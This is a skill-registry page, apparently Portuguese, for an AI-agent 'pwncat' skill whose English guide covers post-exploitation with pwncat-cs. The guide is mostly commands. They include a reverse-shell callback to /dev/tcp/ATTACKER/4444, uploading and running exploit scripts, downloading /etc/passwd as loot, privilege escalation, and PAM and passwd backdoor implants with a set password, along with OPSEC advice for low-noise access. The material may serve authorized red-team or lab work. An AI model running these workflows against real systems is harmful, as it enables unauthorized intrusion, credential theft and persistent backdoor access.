pwncat
Auth/lab ref: pwncat-cs Linux session management; listener/connect modes, shell stabilization, module enum, tunnel and cleanup workflow.
v2026.11.13-21cd5683 instalações+3 em 7 dias39 EstrelasMITsincronizado há 10 horas
Instalar
Ainda não tem a CLI da NotHoly? Instale primeiro.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/pwncatGrava em ~/.notholy/skills depois de conferir a assinatura e o SHA-256.
AssinaturaAssinado, ed25519
Pacote97e41d0f…8f1dcbe6
97e41d0ff9d4…467f8f1dcbe64 arquivos · 4.2 KBVarreduraBaixonenhum achado
Fontegithub.com/AeonDave/malskill/tree/main/offensive-tools/linux/pwncat@21cd568
Este item ainda não foi escrito no seu idioma, então aparece em English.
Nesta página
pwncat-cs is a shell handler + post-exploitation framework. It wraps unstable shells, exposes module-based automation (search / use / run), and manages persistence implants with reconnect support.
Quick Start
# Start listener for reverse shell
pwncat-cs -lp 4444
# Target callback example
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
# SSH channel (stable and preferred when creds exist)
pwncat-cs [email protected]
# Bind shell connect
pwncat-cs connect://10.10.10.10:4444Core Concepts
- Local mode: pwncat commands (
search,use,run,upload,download,escalate) - Remote mode: target shell commands (
id,uname -a,cat /etc/passwd) - Toggle modes with
Ctrl-D.
Essential Commands
| Command | Description |
|---|---|
search <glob> |
Find modules (ex: search enumerate.*) |
use <module> |
Enter module context |
info |
Show selected module arguments/help |
set <arg> <value> |
Set module argument in context |
run <module> [k=v...] |
Execute module directly |
escalate list [-u user] |
List available escalation paths |
escalate run [-u user] |
Execute escalation (direct + recursive chaining) |
run implant ... |
List/escalate/remove installed implants |
upload <local> <remote> |
Upload file to target |
download <remote> <local> |
Download file from target |
back |
Leave module context |
exit |
Exit pwncat |
Module Workflow (Recommended)
Use the module workflow instead of ad-hoc commands:
(local) pwncat$ search enumerate.*
(local) pwncat$ use enumerate.gather
(enumerate.gather) local$ info
(enumerate.gather) local$ set types file.suid
(enumerate.gather) local$ runEquivalent one-liner:
(local) pwncat$ run enumerate.gather types=file.suidUpload & Execution Workflow
# Upload local file to target
(local) pwncat$ upload /opt/tools/exploit.sh /tmp/exploit.sh
# Execute on target (remote mode command)
(remote) target$ chmod +x /tmp/exploit.sh
(remote) target$ /tmp/exploit.sh
# Download loot
(local) pwncat$ download /etc/passwd ./loot/passwd.targetPrivilege Escalation Workflow
# Enumerate escalation options
(local) pwncat$ escalate list
(local) pwncat$ escalate list -u root
# Execute escalation
(local) pwncat$ escalate run
(local) pwncat$ escalate run -u rootNotes:
escalate runtries direct paths first, then recursive chains if needed.- Validate after escalation (
id,whoami, access checks).
Persistence Implants Workflow
pwncat has first-class implant modules for install/list/escalate/remove.
# install key implant (preferred)
(local) pwncat$ run implant.authorized_key key=./id_rsa.pub
# install as specific user (requires required privileges)
(local) pwncat$ run implant.authorized_key user=john key=./id_rsa.pub
# optional high-noise / higher-risk implants
(local) pwncat$ run implant.pam password='TempBackdoor!'
(local) pwncat$ run implant.passwd backdoor_user=svc-backup backdoor_pass='TempBackdoor!'
# list implants
(local) pwncat$ run implant
(local) pwncat$ run implant list
# escalate via local implant
(local) pwncat$ run implant escalate
# remove implants at end of operation
(local) pwncat$ run implant removeReconnect Workflow
If implants were installed, reconnecting is built-in:
# List known implant-enabled hosts
pwncat-cs --list
# Reconnect by host-id (best when NAT/shared IP)
pwncat-cs <host-id>
# Reconnect by user@host (tries known implants then ssh fallback)
pwncat-cs [email protected]Connection Modes (CLI)
# catch raw reverse shell
pwncat-cs -lp 4444
# connect to bind shell
pwncat-cs connect://10.10.10.10:4444
# ssh channel
pwncat-cs ssh://user:[email protected]
pwncat-cs -i ./id_rsa [email protected]
# encrypted listener (auto self-signed cert)
pwncat-cs --ssl -lp 4444
# windows platform example (out of scope for this skill)
pwncat-cs -m windows -lp 4444OPSEC Guidance
- Prefer explicit protocol URIs (
bind://,connect://,ssh://) in scripts. - Prefer
implant.authorized_keyover password implants when feasible. - Use encrypted channels (
--ssl) when traffic inspection risk is high. - Remove implants when engagement phase ends (
run implant remove). - Avoid assuming module names; discover with
searchfirst.
Integration with Other Skills
| Skill | Why combine |
|---|---|
linpeas |
Deep Linux enumeration outside pwncat modules |
linux-persistence |
Persistence tradeoffs and hardening-aware patterns |
Known Pitfalls
- Confusing
pwncatvspwncat-csbinary names. - Relying on implicit protocol parsing in automation.
- Treating ad-hoc shell commands as module execution.
- Installing implants and forgetting removal/verification.
Resources
| File | When to load |
|---|---|
references/module-workflow-cheatsheet.md |
When you need exact search/use/set/run and escalate usage patterns |
references/connection-modes-and-opsec.md |
When selecting bind/connect/ssh/ssl mode and planning low-noise access |
references/post-exploitation-playbook.md |
For end-to-end Linux flow: access → enum → escalate → persist → reconnect → cleanup |
Arquivos desta versão
references/36.2 KB
- connection-modes-and-opsec.md2.4 KB
- module-workflow-cheatsheet.md1.9 KB
- post-exploitation-playbook.md1.9 KB
- SKILL.md5.4 KB
Permissões
| Permissão | Declarada | Encontrada na varredura |
|---|---|---|
| Lê arquivos | Sim | Sim |
| Grava arquivos | Não | Não |
| Roda comandos no shell | Sim | Sim |
| Usa a rede | Não | Não |
| Usa conectores | Não | Não |
| Controla um navegador | Não | Não |
Achados da varredura
Revisado em 13 de nov. de 2026
A varredura não encontrou nada para apontar nesta versão.
Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.
| Versão | Publicada em | Commit | SHA-256 | Assinatura | Mudança de permissão |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 de nov. de 2026 | 21cd568 | 97e41d0f | Assinada | – |
Mais de AeonDave
Tudo deste publicadorMais em Linux, cloud e containers
Ver a categoria- detecting-aws-credential-exposure-with-trufflehogmukul975/detecting-aws-credential-exposure-with-trufflehog5
- cloud-gcpnoorqureshi/cloud-gcp4
- container-image-hardeningsecurityskills/container-image-hardening3
- performing-cloud-incident-containment-proceduresmukul975/performing-cloud-incident-containment-procedures3
- implementing-taxii-server-with-opentaxiimukul975/implementing-taxii-server-with-opentaxii3
- detecting-cryptomining-in-cloudmukul975/detecting-cryptomining-in-cloud3
Pergunte tudo o que o seu escopo permite.
Crie a conta, adicione créditos e faça a primeira pergunta no chat ou no terminal.
- 1/3
Crie a conta
Individual ou empresa. Dá para virar empresa depois sem perder saldo nem chaves.
Pessoa físicaEmpresa - 2/3
Adicione créditos
No cartão. Você paga por token, sem assinatura.
$5.00recarga mínima - 3/3
Pergunte
No chat, ou instale o CLI e rode notholy login no terminal.
$ notholy login